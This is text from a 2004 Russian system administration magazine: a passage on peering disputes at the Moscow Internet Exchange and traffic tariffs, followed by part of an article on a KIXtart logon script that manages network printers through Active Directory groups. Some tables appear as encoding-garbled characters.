что было бы намного удобнее переслать пакет данных на соседнюю улицу по прямому проводу, чем дважды гонять его через океан и обратно. Отечественные провайдеры к тому моменту успели уже заметно расплодиться, и прокладывать прямой кабель от каждого к каждому было бы задачей непосильной организационно и неподъёмной финансово. Куда дешевле и удобнее было бы организовать обмен трафиком в одной точке – каждому из участвующих провайдеров было бы достаточно дотянуть до неё единственный канал, чтобы иметь возможность напрямую передавать трафик всем остальным участникам. Такая точка была создана в здании международной телефонной станции ММТС-9 (в просторечии – М9) в 1995 году – основателями московского IX (Internet eXchange) стали АО «РЕЛКОМ», ООО «Компания «ДЕМОС», МГУ (сеть RUNnet/MSUnet), НИИЯФ МГУ (сеть RUHEP/Radio-MSU), Корпорация «УНИКОР» (сеть FREEnet), Ассоциация RELARN, АО «РОСПРИНТ», – операторы крупнейших на тот момент в России IP-сетей. Обслуживание канала по Москве и аренда стойки под оборудование обходились в совершенно смешные деньги по сравнению с платой за международные каналы, а главное – эти расходы совершенно не зависели от объёмов передаваемого трафика. Кроме того, расположенное в одном и том же здании оборудование крупнейших российских провайдеров, вполне естественно, было соединено между собой по технологии Ethernet, – в результате чего в эпоху, когда спутниковый канал 256 Кбит/с считался весьма скоростным, в России появился десятимегабитный национальный
83
образование бекбон. Появились предпосылки для повышения скоростей и снижения цен – по мере того, как рос объём русскоязычных информационных ресурсов, доля дешёвого внутрироссийского трафика в общем потоке росла, и сам этот поток, соответственно, дешевел». С течением времени к MSK-IX присоединялись и присоединяются новые участники пиринговых соглашений, коих на сегодняшний день уже насчитывается более сотни, но не всё было и есть так гладко, как хотелось бы. Мы, как всегда, «идём своим трудным путём». Что же произошло и в чём трудность пути? А произошло то, что часть компаний отказались от пиринговых соглашений, посчитав их для себя невыгодными. Как сложилась такая ситуация? На мой взгляд, государство отдало в частные руки очень многое, и это вылилось в то, что мы имеем. И если перефразировать ещё сформулированный Лениным принцип «захватить почту, телефон, телеграф» на современный лад, то в руках государства должны быть Интернет, связь проводная и сотовая, радио и телевидение, чего в полном объёме не особо наблюдается. Строить телекоммуникационные каналы, грубо говоря, прокладывать кабели по всей нашей необъятной родине – дело дорогое даже для государства. На практике удешевление наблюдается, если кабели прокладывать совместно с чем-то, например, если строят железную дорогу, то прокладывают кабели вдоль дороги – это намного дешевле, в результате получаем одного владельца опорной сети. Если строится газо- или нефтепровод, также рядом прокладывается кабель, получаем вторую опорную сеть. Строя любое протяжённое сооружение, будь то дорога, ЛЭП или что другое, можно создавать относительно недорогие опорные сети. «Таким совершенно отдельным явлением среди всех компаний провайдеров была сеть компании «РТКомм.Ру», выделенного в отдельное юридическое лицо интернет-бизнеса АО «Ростелеком», национального монополиста на рынке дальней связи. Политика этой компании сводилась к тому, что стоимость трафика должна быть одинаковой независимо от расстояния, которое пришлось пробежать IP-пакетам. И что трафик этот должен тарифицироваться помегабайтно. С позицией «РТКомм.Ру» остальным операторам так или иначе приходилось считаться, поскольку в целом ряде регионов альтернативные каналы попросту отсутствовали, и любой провайдер, стремящийся обеспечить своим клиентам полную связанность, так или иначе вынужден был трафик этой компании – напрямую или через посредников – покупать» [1]. Если грубо описать потоки всего трафика провайдеров на тот момент, то в зависимости от профиля клиентуры у разных провайдеров соотношения между трафиком, получаемым от участников равноправного пирингового обмена (открытого, о котором написано выше) и закрытого (с чуть большей абонентской платой. «Впрочем, размер этой платы все равно являлся фиксированной величиной, не зависящей от объемов потребления, – так что трафик из этих сетей хоть и обходился дороже, но, тем не менее, оставался всё ещё дешёвым внутрироссийским.»), зарубежных провайдеров и «РТКомм.Ру» «выглядели по-разному, но в среднем доли трафика из этих 4 сегментов в общем потоке были приблизи-
84
тельно равны, – за исключением разве что «РТКомм.Ру», которого по сравнению с остальными оказалось чуть меньше. Именно в таком состоянии межоператорский рынок пребывал на ноябрь 2002-го года, когда грянул гром. На самом деле, первые тучи начали сгущаться ещё летом 2002-го, когда Александр Горбунов, вступивший на пост коммерческого директора компании «РТКомм.Ру», занял крайне жёсткую позицию в переговорах с другими операторами» [1], но это не суть важно, важнее то, что произошло. А произошло следующее. Часть компаний захотела выйти из пирингового обмена, и объяснение было этому следующее. Существуют два вида провайдеров, одни тянут кабельную инфраструктуру из города в город, из района в район и т. д. Так как это не дёшево, то можно сказать прямо, что они вкладывают в это деньги, которые, естественно, окупаются не сразу и не очень быстро. Другие покупают помещение, тянут чуть меньше кабелей и ставят себе мощные серверы, устраивая при этом хостинг или модемный пул, общаются с конечными клиентами. Трафик они при этом покупают у первой группы провайдеров. Так вот, первая группа провайдеров решила, что она регулярно недополучает часть денег, и решила ввести помегабайтную оплату за переданные сообщения по их каналам. Мы тянем каналы, мы диктуем политику – была их позиция. Именно чтобы этого не было, не было повышения цен, монополия должна быть в руках государства, как производство водки и спирта. Будет выкупаться канал 10 лет, а не 2 года, значит, пусть выкупается 10 лет. Чтобы не оказаться совсем отрезанными от мира и не прогореть от недостатка передаваемого трафика (как входящего, так и исходящего), первая группа провайдеров, включающая крупных операторов, таких как «Телеросс» (торговые марки «Голден Телеком», приобретённый ими «Совинтел», «Россия Онлайн»), МТУ-Информ, МТУ-Интел и тот же «РТКомм.Ру», привлекли к себе на хостинг значительные трафикогенерирующие ресурсы. Один лишь хостинг-провайдер masterhost.ru, привлечённый компанией «РТКомм.Ру», клиентами которого являются такие сайты, как anekdot.ru, dni.ru, by.ru, «ВебПланета» и многие другие, генерирует за месяц свыше 40 терабайт исходящего трафика. И это не говоря уже о mail.ru и других привлечённых компаниями ресурсах. После того как был обеспечен достаточный объём трафика для создания «небольшого переворота», пиринговые соглашения по безлимитному обмену трафиком (в пределах пропускных каналов) за конечные деньги были расторгнуты, а цены на трафик были подняты. «В результате сложилась парадоксальная ситуация, когда за каждый килобайт анекдотов от Вернера, прокачивающийся по ethernet-сети внутри здания на улице Бутлерова, любой провайдер вынужден платить втрое больше, чем за такой же объём информации, переданный через океан из США. Подобная ситуация, по самому своему характеру абсурдная, уже привела к тому, что ряд операторов отказался от прямых каналов «РТКомм.Ру» и стал пропускать трафик из этих сетей по более дешёвым маршрутам, – через узлы международных операторов в Хельсинки и Стокгольме. Это уже в полной мере ощутили многие пользователи выделенных линий по тарифным планам с раздельной тарификацией российского и зарубежного трафика, – «Анекдот.Ру» стал
образование теперь «заграницей», и суммы выставленных счетов подскочили в полтора раза. При этом весьма занимательно, что «Анекдоты из России» за те наносекунды, что требуются IP-пакетам для преодоления нескольких десятков метров внутри М9, оказываются проданными дважды. Сначала «РТКомм.Ру» берёт деньги с «Мастерхоста» за исходящий от него во внешний мир трафик, а потом за этот же трафик выставляет счета тянущим его провайдерам, – бизнес-модель, согласитесь, весьма остроумная» [1]. Большие зарубежные компании, являющиеся для большинства наших провайдеров up-stream-провайдерами вроде Telia, Sonera и Cable & Wireless, в силу масштабов своих оборотов по сравнению с нашими компаниями смогли предложить цену за трафик более низкую, чем его можно купить напрямую. В результате наши российские деньги, которые могли бы остаться в стране, потекли в эти зарубежные компании. Поначалу были некоторые возмущения о произошедшем, желания судиться у некоторых фирм, создать пиринговую группу противодействия и пр. возмущения, но со временем по экспоненте все волнения затихли и на сегодняшний день по прошествии почти полутора лет ничего практически не изменилось и сложилась довольно стабильная ситуация из двух лагерей провайдеров [7]. Первый – это участвующие в дешёвом пиринговом обмене трафиком и входящие в Российскую Пиринговую Группу (РПГ), и второй – входящие в Отдельную Пиринговую Группу (ОПГ), продающие и покупающие свой трафик помегабайтно. Чтобы оценить, кто от этого выиграл, кто от этого проиграл, давайте разберёмся в некоторых моментах на практике.
Наблюдения на практике Cледует отметить, что пиринговая тенденция существует во всём мире и Россия входит в Euro-IX [5]. Большую часть информации о пиринге можно получить на сайте Московского Internet Exchange [1], такую как статистика: http://www.mskix.ru/rus/tech/stat.shtml, цены: http://www.msk-ix.ru/rus/docs/ prices.shtml и другую не менее интересную информацию. Давайте рассмотрим участников подключения MSK-IX [4]. Я поставил задачу найти провайдеров, предоставляющих тарифные планы с Россией unlimited в принципе, так как подключение к одному и тому же провайдеру сильно зависит от затрат на подведение к нему кабеля, что мной не учитывалось. С наибольшей вероятностью такие провайдеры должны иметь прямое подключение к другим участникам пирингового обмена MSK-IX, реже они подключаются через когото. Просмотрев сайты всех 127 фирм [4], я нашёл лишь несколько, вывесивших в открытом виде свои тарифы с раздельной тарификацией для российского и зарубежного трафика. Полностью безлимитные предложения с ограниченной скоростью не рассматривались. Наблюдается большой процент фирм, основной вид деятельности которых, судя по содержанию их веб-сайтов, не связан с телематическими услугами. То есть фирмы, желающие получать быстрый Интернет «из первых рук». Также большой процент фирм с гибкой ценовой политикой, причём настолько гибкой, что они не могут выставить даже базовые цены на сайте, предлагая уточнять их по телефону.
№6(19), июнь 2004
Вот эти несколько фирм с раздельной тарификацией:
! ООО «АГ Телеком»
http://www.agtel.net/tariffs/internet/index_ag.phtml#ros. Òàáëèöà 1. Òàðèôíûé ïëàí «Ðîññèéñêèé» (áåç ó÷¸òà ðîññèéñêîãî òðàôèêà)
!
Пусть на небольших скоростях, до 2 Мбит/с, но всё равно это интересно. ЗАО «Инвестэлектросвязь» (Корбина Телеком) http://www.corbina.net/internet/trafic.shtml Òàáëèöà 2. Òàðèôíûé ïëàí «Ðîññèÿ»
! ЗАО «Дэйта Форс Ай-Пи» (Data Force) http://www1.df.ru/services_2.html Òàáëèöà 3. Òàðèôíûé ïëàí ñ ðàçäåëüíîé îïëàòîé ðîññèéñêîãî è çàðóáåæíîãî òðàôèêà
! Информационно-Маркетинговый Телекоммуникационный Центр МГУ им. М.В.Ломоносова «ИМТ» (MSUNet) http://www.direct.ru/internet/index_line.html Òàáëèöà 4. Òàðèôíûé ïëàí «Unlimited Russia»
! ООО «ТОР-Инфо» (TI-Net) http://www.ornet.ru/?services.php
85
образование Òàáëèöà 5. Òàðèôíûå ïëàíû
! ООО «Зенон Н.С.П.» (Zenon/Internet) http://www.zenon.net/txt/services/ll/#noru http://www.zenon.net/txt/services/0555.html Òàáëèöà 6. Òàðèôíûé ïëàí «Ðîññèÿ» (áåç îïëàòû ðîññèéñêîãî òðàôèêà)
Òàáëèöà 7. Øèðîêîïîëîñíûé äîñòóï â Èíòåðíåò
! Отдельно хочется выделить сеть Gagarino.net (http:// www.gagarino.net), подключённую косвенно. Её нет в списках участников прямого подключения. Расценки за трафик более чем интересные (http://www.gagarino.net/ index.htm?mode=rasc). Лучше предложения по Москве я не нашёл. Абонентская плата за пользование сетью: ! Для физических лиц – 20 у.е. в месяц. ! Российский трафик – Unlimited. ! Зарубежный трафик – 0,036 у.е. за Мб. Из общения с участниками этой сети мне удалось узнать, что несмотря на предложенные 10 Мб стандартного подключения возможно договориться и о всех 100 Мб. Через сайт http://mosnet.ru/ я попытался найти также и другие сети и других вторичных провайдеров с раздельной тарификацией, но не нашёл. Отчасти это связано и с неудобной организацией сайта. Из найденных 7 провайдеров с их сетями наиболее выгодными для конечного пользователя мне показались предложения от ИТМЦ «МГУ» и gagarino.net.
86
Теперь об оценке, что считать трафиком российским, а что зарубежным, и несколько других интересных ссылок. У каждого провайдера в зависимости от топологии его сетей и дополнительных соглашений под российской частью трафика понимается своё, хотя есть много общего. Только два провайдера, отмеченных мною выше, предоставляют возможность проверки узлов, от которых вы планируете получать пакеты на принадлежность их трафика к России/зарубежу. ! ИМТЦ «МГУ» – http://www.direct.ru/internet/test-traffic.html ! Gagarino.net – http://www1.gagarino.net/perl/verify_ip.pl Только ИМТЦ «МГУ» даёт пояснение на сайте, что их зарубежный трафик маркируется «0x60 в поле tos». Откуда конечный пользователь может использовать утилиту sing [6] (аналог ping, но показывает значение TOS возвращаемых пакетов.) Проверка трафика на двух вышеуказанных ссылках почти одинакова, но несколько разнится по результатам, например, «dostavka.ru» в первом случае оказывается зарубежным трафиком, во втором случае – российским, что уже говорит о неоднородности подключений между провайдерами. Очень интересным образом поступил провайдер Zenon N.S.P. Оценивать трафик по принадлежности он предлагает в зависимости от проделанного маршрута пакетами. Если пакеты при передаче прошли через все «российские» промежуточные сети, то они считаются российскими. Имеется регулярно обновляемый публикуемый список «российских» IP-сетей: http://nms1.zenon.net/nf/rus-net.txt. Так было до поры до времени, пока «гром не грянул». После того как произошло вышеописанное событие, провайдер Zenon N.S.P. отнёсся к своим клиентам как ни один другой провайдер, сделав беспрецедентный шаг, а именно введя изменения в системе учёта российского трафика: http:// www.zenon.net/txt/news/common/0577.html, по которым не важно, по каким промежуточным сетям гуляет трафик, главное, чтобы начальная и конечная точка оказались российскими. Таким образом, пользователей Zenon N.S.P. вообще никак не коснулась ситуация с переделом рынка. Конечно, Zenon N.S.P. несёт дополнительные расходы, но обслуживаемые ими клиенты ценятся ими выше, что, несомненно, делает лицо фирме. Что же касается моих личных впечатлений от общения с их сотрудниками – у фирмы действительно хороший персонал и неплохой имидж. Интересная ссылка была найдена на сайте ООО «ГарантПарк-Телеком» Списки сетей Россия/Россия-2: http:// www.parkline.ru/bgp_comm.html, что может говорит о гипотетической возможности раздельной тарификации. Также была найдена интересная схема взаимосвязей одного из провайдеров с другими (http://www.east.ru/technol/ m9ix.html) и несколько Looking Glasses: ! http://www.informtelecom.ru/cgi-bin/trace.pl ! http://noc.runnet.ru/lookingglass/index.htm ! Неплохой список – http://noc.runnet.ru/public/lg-list.html Заходя на них, можно проследить самостоятельно связность между теми или иными провайдерами, например, можно взять несколько адресов, удобнее всего адреса DNS-сер-
образование веров из разных групп провайдеров, и проследить маршруты и число ретрансляций: ! 195.34.32.10 – DNS МТУ-Интел, ! 81.195.6.169 – один из адресов МТУ-Интел ! 212.44.130.6 – DNS Совинтел (Голден-Телеком) ! 212.16.0.1 – DNS ИМТЦ «МГУ» ! 195.2.64.36 – DNS Zenon N.S.P. ! 194.87.0.8 – DNS Demos Попробуйте ради эксперимента самостоятельно проверить различные маршруты. Результаты трассировок должны лишь подтвердить вышеописанное разделение провайдеров на две группы.
Будущее за пирингом? Скорее всего да. Пиринг в целом явление полезное. Пожалуй, вряд ли найдётся у нас в стране хотя бы один интернетпользователь, который не вздыхал бы с грустью, читая про счастливых американцев, которым скоростной выделенный канал, поданный на дом, обходится в $30 – $50 ежемесячного платежа независимо от объёмов потребления. Такая щедрость по отношению к клиенту, помимо иных причин, оказалась возможной благодаря тому, что в Штатах практически весь потребляемый трафик – местный. Его передача по сверхскоростным каналам, соединяющим американские IX, обходится настолько дёшево, что деньги взымаются не за скачанные мегабайты, а за предоставленный сервис. По мере повышения пропускной способности каналов и удешевления транспорта подобная модель расчётов с абонентами всё шире распространяется по всему миру. До недавнего времени в этом направлении двигалась и Россия – низкая стоимость транспорта на короткие расстояния сделала возможными такие схемы расчётов, как тарифный план «Патриот» компании «ТОР Инфо», – когда абонент широкополосного выделенного доступа получает неограниченный внутрироссийский трафик всего за $30/мес (900 руб), либо ещё дешевле – за $20/мес в Gagarino.net и ИМТЦ «МГУ», оплачивая помегабайтно только входящую «зарубежку», причём в последнем предложении уже в абонентскую плату включено 300 Мб. То, что давно используется во всём мире, мы делаем посвоему, «идём своим трудным путём», так как совсем не ясно, а как иначе ещё можно трактовать следующие предложения, появившиеся от двух провайдеров. ! ЗАО «Айхоум» (iHome) услуги по созданию и обслуживанию своего пирингового центра для домашних сетей – HOME-IX в Москве и Зеленограде (http://www.ihome.ru/ ?action=rubrika&id=37). ! ОАО «Московская Телекоммуникационная Корпорация» (Комкор). Специальное предложение для домовых сетей Москвы от 6 мая 2004 по созданию виртуального пирингового центра (http://www.comcor.ru/ newsall.php?number=177). То есть эти предложения – сделать всё то, что было идейно на MSK-IX до 3 декабря 2002-го, но только в обход, с меньшими скоростями, с меньшим числом участников. Если нам заграничный опыт не показатель, то почему-то думается, что если к услугам пирингового обмена тяготеет такой немалень-
№6(19), июнь 2004
кий провайдер, как Комкор, то, может, всё же есть за пирингом будущее?
Выводы А выводы можно сделать не самые утешительные. Мы теряем деньги, переводя их за рубеж, тормозим свой экономический рост. Видимо, наше общество ещё не до конца созрело до понимания необходимости введения обязательного пиринга в столице, а потом и по всей нашей необъятной Родине. Это не то, на чём следует делать деньги, ограничивая трафик. К сожалению, многие не только не понимают, что пиринг способствует развитию сетей, экономическому росту и росту благосостояния граждан в целом, но и вообще не знают, что это такое. Надеюсь, что после этой статьи людей, имеющих хотя бы отдалённое представление, станет больше. Замечание по поводу пиринга из жизни. (Спасибо А. Гладилину.) Следует отметить, что многие проблемы по расчётам между провайдерами с раздельной тарификацией и абонентами берутся из-за неполного понимания абонентами того, что может происходить с маршрутизацией. Проблема здесь не в том, что абоненты не понимают, что какие-то сайты домена .ru расположены за рубежом и их трафик не является российским (это большинство понимает хорошо), а в том, что Интернет – это динамическая структура по своей природе. Это чаще всего теряется из виду даже у опытных пользователей. Следует понимать, что в сети с динамической маршрутизацией, если падает какой-то канал или маршрутизатор, то есть нарушается связность на пути пирингового (дешёвого или бесплатного) трафика с соседним провайдером, то маршрутизаторы стоящие «до» случившегося форс-мажора, быстро восстановят связанность сети, изменив маршрутизацию пакетов. Например, запустив их по резервным или платным каналам. В результате пакеты от тех адресов, что буквально 10 минут назад считались российскими, быстро станут зарубежными, причём это будет реальный зарубежный трафик, приходящий из-за рубежа. Видимо, нежелание встречаться с подобными проблемами есть одна из причин, которая не способствует тому, чтобы провайдеры стремились делить трафик на российский и зарубежный, способствуя пирингу. Наверно, для провайдеров пиринг нужен обязательно, а вот для конечных пользователей он должен быть как свобода – осознанной необходимостью.
Cсылки: 1. Александр Милицкий. Битва за Россию, 2002 г., http:// www.provider.net.ru/article.21.php 2. Александр Милицкий. Портрет новейшей эпохи (триптих) 2004 г., http://forum.compulenta.ru/offline/2004/531/ metroareanetworks/print.html 3. Сайт Московского Internet Exchange: http://www.msk-ix.ru/ rus/main/ 4. MSK-IX. Участники подключения, Май 2004 г., http:// www.msk-ix.ru/rus/participants/ 5. European Internet Exchange Association/Member list: http:// www.euro-ix.net/about/memberlist.shtml 6. Сайт проекта sing: http://sourceforge.net/projects/sing/ 7. «Зенон» занял выжидательную позицию: http:// www.webplanet.ru/news/telecom/2003/1/15/zenon.html
87
образование
УПРАВЛЕНИЕ СЕТЕВОЙ ПЕЧАТЬЮ В WINDOWS 2000 ЧАСТЬ 2
В предыдущей статье был описан процесс установки и настройки сетевого принтера в домене Windows. Эта статья посвящена созданию сценария регистрации пользователей в сети, который будет автоматически управлять подключением и отключением сетевых принтеров.
ИВАН КОРОБКО 88
образование Сценарий регистрации пользователей в сети Основной задачей скрипта является автоматизация процессов, связанных с подключением рабочих станций к сети, уменьшения затрат на администрирование и конфигурирование рабочих станций. Перечислим некоторые задачи, которые могут быть решены с помощью сценария загрузки: ! Инвентаризация. Включает в себя сбор информации о регистрирующемся в сети пользователе, рабочей станции и формирование файла отчета. ! Автоматическое подключение сетевых ресурсов: принтеров и дисков. ! Автоматическое конфигурирование рабочих станций. ! Обеспечение интерактивности работы скрипта. В ходе выполнения скрипта на экране отображается соответствующая информация. После его выполнения пользователь может ознакомиться с подключенными к нему ресурсами, информацией о его рабочей станции и т. д. Существует несколько языков, предназначенных для создания сценариев загрузки. Среди них стандартными являются сценарии на базе командной строки (файлы с расширением BAT, PIF), Windows Script Host (WSH), Microsoft Java Script (JScript), Microsoft Visual Basic Script Edition (VBScript). Существуют также языки, специально разработанные для создания скриптов, такие как KIXtart, AutoIT, CLRScript, WinBatch. Из всех этих языков рекомендуется остановить свой выбор на языке KIXtart (http://kixtart.org), поскольку, обладая огромными возможностями, он распространяется бесплатно. Это интерпретируемый язык программирования, разработанный в 1991 году для создания сценариев загрузки. Простота, скорость и отсутствие конкурентов быстро сделали его популярным среди администраторов. KIXtart является бесплатным и поставляется вместе с Microsoft Resoure Kit. В настоящее время используется KIXtart ver 4.2х, который поддерживается Microsoft Windows Server 2003, XP, 2000, NT 3.x/4.x, 95, 98, Millennium. KIXtart 4.21 поддерживает 48 команд, 56 макросов-функций, 100 функций и обладает следующим функционалом: ! вывод информации в виде диалоговых сообщений; ! подключение сетевых ресурсов; ! чтение информации из входного потока; ! расширенная поддержка редактирования реестра; ! поддержка INI-файлов; ! расширенная поддержка операций со строками и массивами; ! сбор информации о пользователе и рабочей станции; ! поддержка OLE-объектов; ! операции с файлами и каталогами; ! создание ярлыков Windows. Необходимо отметить, что сценарии, созданные на VBScript, Jscript, могут быть легко переписаны под KIXtart. В данной статье рассмотрен лишь небольшой фрагмент скрипта, обеспечивающий автоматизированное управление сетевыми принтерами. Рассмотрим основные принципы его работы.
№6(19), июнь 2004
Соглашение об именах Имя должно содержать как можно больше информации о принтере, при этом быть удобным для использования. На рабочих станциях под управлением операционной системы Windows пользователь имеет дело с двумя именами – именем принтера и его сетевым именем. Имя принтера – это имя, назначаемое принтеру во время установки. Его длина ограничивается 220 символами. Сетевое имя назначается принтеру для использования устройства в сети. Максимальная длина сетевого имени составляет 80 символов, хотя его не рекомендуется делать длиннее 8 символов для обеспечения совместимости с клиентами MS-DOS и Windows 3.x. Существует еще одно ограничение: некоторые приложения не могут работать с принтерами, у которых полное составное имя (имя компьютера, объединенное с сетевым именем принтера по шаблону \\Server\ ShareName) длиннее 31 символа. Чаще всего имя, назначаемое принтеру, представляет собой реальное имя принтера с порядковым номером, если есть несколько принтеров одинаковой модели, например, HP LaserJet 1200 (1), HP LaserJet 2300 (2). Такой способ именования рекомендуется использовать в небольших организациях. В крупных корпорациях принцип именования принтеров может быть другим. Например, названия могут быть даны по именам отделов и офисов, где территориально находится принтер, скажем, «Краснодар ОКС» или «Ростов АТС-34». Сетевое имя, как отмечено ранее, должно быть более коротким, но при этом не должно терять смысловой нагрузки. Оно чаще всего представляет собой общую характеристику принтера, например HP1200_1, HP2300_2.
Предварительная настройка принтера и AD Работа сценария строится на анализе и обработке данных, содержащихся в Active Directory и пользовательском реестре. На основе полученных данных осуществляется подключение и отключение принтера в зависимости от членства пользователя в соответствующих группах безопасности. Для того чтобы сценарий мог считывать и сопоставлять полученные данные из Active Directory, необходимо одновременное выполнение нескольких условий. Первое условие – названия принтеров, групп безопасности должны удовлетворять соглашению об именах. Второе – сетевые принтеры, подключением и отключением которых должен управлять скрипт, должны быть опубликованы в Active Directory. Третье – названия групп безопасности должны строиться в соответствии со следующим шаблоном: название одной из групп, члены которой могут только выводить задания на печать, образуется добавлением к сетевому имени принтера через дефис слова Print, например, «HP2300_1 – Print». Название другой группы строится аналогично, с той разницей, что слово «Print» заменяют на словосочетание «Print Managers». Члены этой группы могут управлять очередью печати и принтером. Таким образом, принтеру с сетевым именем «HP1200_1» соответствуют следующие названия групп: имя первой группы «HP1200_1 – Print», второй «HP1200_1 – Print Managers» (см. рис. 1). Четвертое – должны быть определены параметры безопасности принтера. В свойствах принтера (см. рис. 2) на сер-
89
образование вере печати во вкладке «Security» (безопасность) должна быть удалена группа «Everyone» (в противном случае скрипт будет подключать этот принтер всем пользователям сети) и добавлены две группы безопасности, соответствующие данному принтеру: «HP1200_1 – Print» и «HP1200_1 – Print Managers». Для группы «HP1200_1 – Print» должен быть установлен в разделе «Permissions» (разрешения) флажок напротив свойства «Print» (см. рис. 2), а для группы «HP1200_1 – Print Managers» – флажки напротив «Print» (печать) и «Manage Documents» (управление документами). Ставить флажок напротив «Manage Printers» не рекомендуется, поскольку управление принтерами подразумевает возможность изменять настройки принтера, удалять его. По мнению автора, такими привилегиями может обладать только системный администратор.
Этап 1. Формирование списка принтеров, которые необходимо подключить пользователю Определение имени текущего домена Имя текущего домена определяется с помощью функции GetObject(). Используя функцию GetObject(), осуществляется чтение корня пространства имен, в данном случае текущего домена. Пример определения текущего домена: $rootDSE_ = GetObject("LDAP://RootDSE") $domain_ = "LDAP://" + $rootDSE_.Get("defaultNamingContext")
Переменная domain_ имеет вид «dc=microsoft,dc=com», если домен «microsoft.com». Имя текущего домена, полученного с помощью провайдера WinNT, нельзя использовать, поскольку с помощью него можно получить только сокращенное имя домена (в данном случае «microsoft»). В том случае если все же указано сокращенное имя домена в строке с SQL-запросом, то при выполнении скрипта произойдет ошибка. В сообщении о ней будет сказано, что по указанному пути база не обнаружена, поэтому установить с ней соединение невозможно.
Построение запроса SQL Запрос SQL используется для осуществления процедуры поиска объектов при заданном типе объекта. В общем случае запрос SQL выглядит следующим образом: Ðèñóíîê 1
Ðèñóíîê 2
Итак, работа сценария строится на анализе данных, содержащихся в Active Directory и пользовательском реестре. Его работу можно разбить на три этапа. На первом этапе формируется список принтеров, которые должны быть подключены пользователю. На втором этапе – список сетевых принтеров, уже установленных на рабочей станции пользователя.Наконец, на третьем – осуществляется приведение этих списков в соответствие.
90
SELECT ïîëå_1, ïîëå_2, …, ïîëå_n FROM ↵ “LDAP://dc=äîìåí_1,dc=äîìåí_2…,domen_n” ↵ WHERE objectClass=’òèï_îáúåêòà’
В разделе SELECT указываются поля, по которым идет выборка. Поля перечисляются через запятую, «пробелы» после запятой обязательны. Полный список полей объектов AD можно получить с помощью утилиты ADSI Edit, которая размещается в дистрибутиве Microsoft Windows 2000 в директории /Support/Tools (см. статью «Программное управление ADSI: LDAP» в журнале «Системный Администратор», №3(16) март 2004 г.). В разделе FROM указывается путь к объекту. В данном случае известен только домен. При описании данного раздела пробелы не допускаются. В разделе WHERE указывается тип объекта, к которому адресован запрос. Данное поле является фильтром. Провайдер LDAP поддерживает несколько типов объектов, которые в запросе SQL определяются переменной objectClass: PrintQueue – массив принтеров, опубликованных в AD; Group – группы, созданные в AD; User – пользователи, созданные в AD; Computer – массив компьютеров, зарегистрированных в AD. Пример использования запроса SQL см. в разделе «Поиск опубликованных принтеров в AD».
Поиск опубликованных принтеров в AD Поиск объектов в Active Directory с помощью провайдера LDAP реализуется через ADODB-соединение. После создания соединения формируется SQL-запрос и осуществ-
образование ляется поиск по заданным критериям. Результатом поиска является массив, который содержит значения полей, которые указаны в параметре SELECT SQL-запроса. Затем происходит вывод данных на экран. В приведенном примере осуществляется поиск всех опубликованных принтеров в текущем домене и вывод на экран названия принтера, его сетевого имени (ShareName): $strADSQuery = "SELECT shortservername, portname, servername, printername, printsharename, location, ↵ description FROM '" +$domain_+"' ↵ WHERE objectClass='printQueue'" $objConnection = CreateObject("ADODB.Connection") $objCommand = CreateObject("ADODB.Command") $objConnection.CommandTimeout = 120 $objConnection.Provider = "ADsDSOObject" $objConnection.Open ("Active Directory Provider") $objCommand.ActiveConnection = $objConnection $objCommand.CommandText = $strADSQuery $st = $objCommand.Execute $st.Movefirst $i=0 Do $server_enum="" $name_enum="" $shares_enum="" $description_enum="" $server_enum = $St.Fields("shortservername").Value $name_enum = $St.Fields("printername").Value $shares=$St.Fields("printsharename").Value for each $share in $shares $shares_enum = $shares_enum + $share next $descrs=$St.Fields("description").Value for each $desc in $descrs $description_enum = $description_enum + $desc Next $st.MoveNext $temp="Íàçâàíèå ïðèíòåðà: " & $name_enum & chr(13) & ↵ "Ïóòü ê ïðèíòåðó: " & "\\" & $server_enum & "\" ↵ & $shares_enum & chr(13) & "Îïèñàíèå: " & $description_enum. MessageBox($temp,"Õàðàêòåðèñòèêè ïðèíòåðà",0,0) $temp="" Until $st.EOF
В Active Directory объектом класса printQueue является принтер. Этот объект имеет свойства, значение которых может быть двух типов: строкой и массивом. В приведенном примере поле, содержащее название принтера, является строковой переменной, а сетевое имя принтера – массивом. Ниже приведена таблица, содержащая названия и описания часто используемых полей, соответствующий им тип и формат данных:
Òàáëèöà 1
Формирование массива После того как в Active Directory найден очередной опубликованный принтер и прочитаны его свойства, для него формируется UNC-путь (\\server\sharename). Затем осуществляется попытка подключить пользователю принтер и считывать код функции, производящей подключение. Если функция подключения возвращает код ошибки 0 (подключение к принтеру прошло успешно), то пользователь является членом одной из двух групп безопасности, перечисленных в свойствах принтера на сервере печати. Для тех принтеров, на которые пользователь имеет право печатать (как минимум), формируется массив, например $access_array[$i]. Формат элементов массива следующий: «,,server,printername», где server – короткое имя сервера, printername – локальное имя принтера. $path_enum_connect = "\\" + $server_enum + "\" + $shares_enum $connect_flag = addprinterconnection( $path_enum_connect ) if $connect_flag=0 $path_full =",," + $server_enum + "," + $name_enum $print_sysinfo=$print_sysinfo+$shares_enum+": ↵ "+$description_enum+chr(13) $access_array[$i] = lcase($path_full) $i=$i+1 Endif
Этап 2. Формирование списка сетевых принтеров, подключенных пользователю Процесс определения подключенных пользователю сетевых принтеров основан на анализе ветви HKCU локального реестра (см. рис.3). С помощью функции ENUM осуществляется чтение названий папок, содержащих в себе короткое имя сервера и полное имя принтера. На основе полученной информации формируется массив, элементами которого являются строки, имеющие следующий формат: «,,server,printername», где server – короткое имя сервера, printername – локальное имя
Ðèñóíîê 3
№6(19), июнь 2004
91
образование принтера. Для удобства сравнения обоих массивов (подключенных принтеров и принтеров, на которые пользователь имеет права) необходимо, чтобы форматы элементов массивов совпадали. Формат элементов продиктован особенностью построения реестра Windows 2000 (см. рис. 3). $Index=0 DO $connected_array[$index]= ↵ lcase(ENUMKEY("HKEY_CURRENT_USER\Printers\ ↵ Connections\", $Index)) $Index = $Index + 1 UNTIL Len($Group) =0
if $flag_p=-1 $group=$connected_array[$i] $name_=right($group, len($group)-instrrev($group,",")) $server_=right(left($group,len($group)-len($name_)-1), ↵ len(left($group,len($group)-len($name_)-1))-2) $share_=readvalue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ ↵ Windows NT\CurrentVersion\Print\Providers\ ↵ LanMan Print Services\Servers\"+$server_+"\Printers\ ↵ "+$name_,"Share Name") $disconnect_ ="\\"+$server_+"\"+$share_ $r=DelPrinterConnection( $disconnect_ ) endif
Полный синтаксис скрипта приведен в «Приложении 1».
